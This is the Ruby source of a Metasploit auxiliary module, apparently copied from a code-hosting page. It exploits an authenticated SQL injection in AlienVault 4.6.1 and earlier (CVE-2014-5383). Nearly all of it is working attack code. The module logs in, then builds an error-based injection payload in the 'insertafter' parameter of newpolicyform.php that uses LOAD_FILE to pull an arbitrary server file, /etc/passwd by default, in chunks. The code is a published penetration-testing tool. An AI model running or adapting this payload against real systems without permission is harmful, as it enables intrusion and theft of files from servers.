Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info={})9super(update_info(info,10'Name' => "AlienVault Authenticated SQL Injection Arbitrary File Read",11'Description' => %q{12AlienVault 4.6.1 and below is susceptible to an authenticated SQL injection attack against13newpolicyform.php, using the 'insertinto' parameter. This module exploits the vulnerability14to read an arbitrary file from the file system. Any authenticated user is able to exploit15this, as administrator privileges are not required.16},17'License' => MSF_LICENSE,18'Author' =>19[20'Chris Hebert <chrisdhebert[at]gmail.com>'21],22'References' =>23[24['CVE', '2014-5383'],25['OSVDB', '106815'],26['EDB', '33317'],27['URL', 'http://forums.alienvault.com/discussion/2690/security-advisories-v4-6-1-and-lower']28],29'DefaultOptions' =>30{31'SSL' => true32},33'Privileged' => false,34'DisclosureDate' => '2014-05-09'))3536register_options([37Opt::RPORT(443),38OptString.new('FILEPATH', [ true, 'Path to remote file', '/etc/passwd' ]),39OptString.new('USERNAME', [ true, 'Single username' ]),40OptString.new('PASSWORD', [ true, 'Single password' ]),41OptString.new('TARGETURI', [ true, 'Relative URI of installation', '/' ]),42OptInt.new('SQLI_TIMEOUT', [ true, 'Specify the maximum time to exploit the sqli (in seconds)', 60])43])44end4546def run4748print_status("Get a valid session cookie...")49res = send_request_cgi({50'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php')51})5253unless res && res.code == 20054print_error("Server did not respond in an expected way")55return56end5758cookie = res.get_cookies5960if cookie.blank?61print_error("Could not retrieve a cookie")62return63end6465post = {66'embed' => '',67'bookmark_string' => '',68'user' => datastore['USERNAME'],69'passu' => datastore['PASSWORD'],70'pass' => Rex::Text.encode_base64(datastore['PASSWORD'])71}7273print_status("Login...")7475res = send_request_cgi({76'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php'),77'method' => 'POST',78'vars_post' => post,79'cookie' => cookie80})8182unless res && res.code == 30283print_error("Server did not respond in an expected way")84return85end8687unless res.headers['Location'] && res.headers['Location'] == normalize_uri(target_uri.path, 'ossim/')88print_error("Authentication failed")89return90end9192cookie = res.get_cookies9394if cookie.blank?95print_error("Could not retrieve the authenticated cookie")96return97end9899i = 0100full = ''101filename = datastore['FILEPATH'].unpack("H*")[0]102left_marker = Rex::Text.rand_text_alpha(6)103right_marker = Rex::Text.rand_text_alpha(6)104sql_true = Rex::Text.rand_text_alpha(6)105106print_status("Exploiting SQLi...")107108begin109::Timeout.timeout(datastore['SQLI_TIMEOUT']) do110loop do111file = sqli(left_marker, right_marker, sql_true, i, cookie, filename)112return if file.nil?113break if file.empty?114115str = [file].pack("H*")116full << str117vprint_status(str)118119i = i+1120end121end122rescue ::Timeout::Error123if full.blank?124print_error("Timeout while exploiting sqli, nothing recovered")125else126print_error("Timeout while exploiting sqli, #{full.length} bytes recovered")127end128return129end130131path = store_loot('alienvault.file', 'text/plain', datastore['RHOST'], full, datastore['FILEPATH'])132print_good("File stored at path: " + path)133end134135def sqli(left_marker, right_marker, sql_true, i, cookie, filename)136pay = "X') AND (SELECT 1170 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},"137pay << "(SELECT MID((IFNULL(CAST(HEX(LOAD_FILE(0x#{filename})) AS CHAR),"138pay << "0x20)),#{(50*i)+1},50)),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS"139pay << " GROUP BY x)a) AND ('0x#{sql_true.unpack("H*")[0]}'='0x#{sql_true.unpack("H*")[0]}"140141get = {142'insertafter' => pay,143'ctx' => 0144}145146res = send_request_cgi({147'uri' => normalize_uri(target_uri.path, 'ossim', 'policy', 'newpolicyform.php'),148'cookie' => cookie,149'vars_get' => get150})151152if res && res.body && res.body =~ /#{left_marker}(.*)#{right_marker}/153return $1154else155print_error("Server did not respond in an expected way")156return nil157end158end159end160161162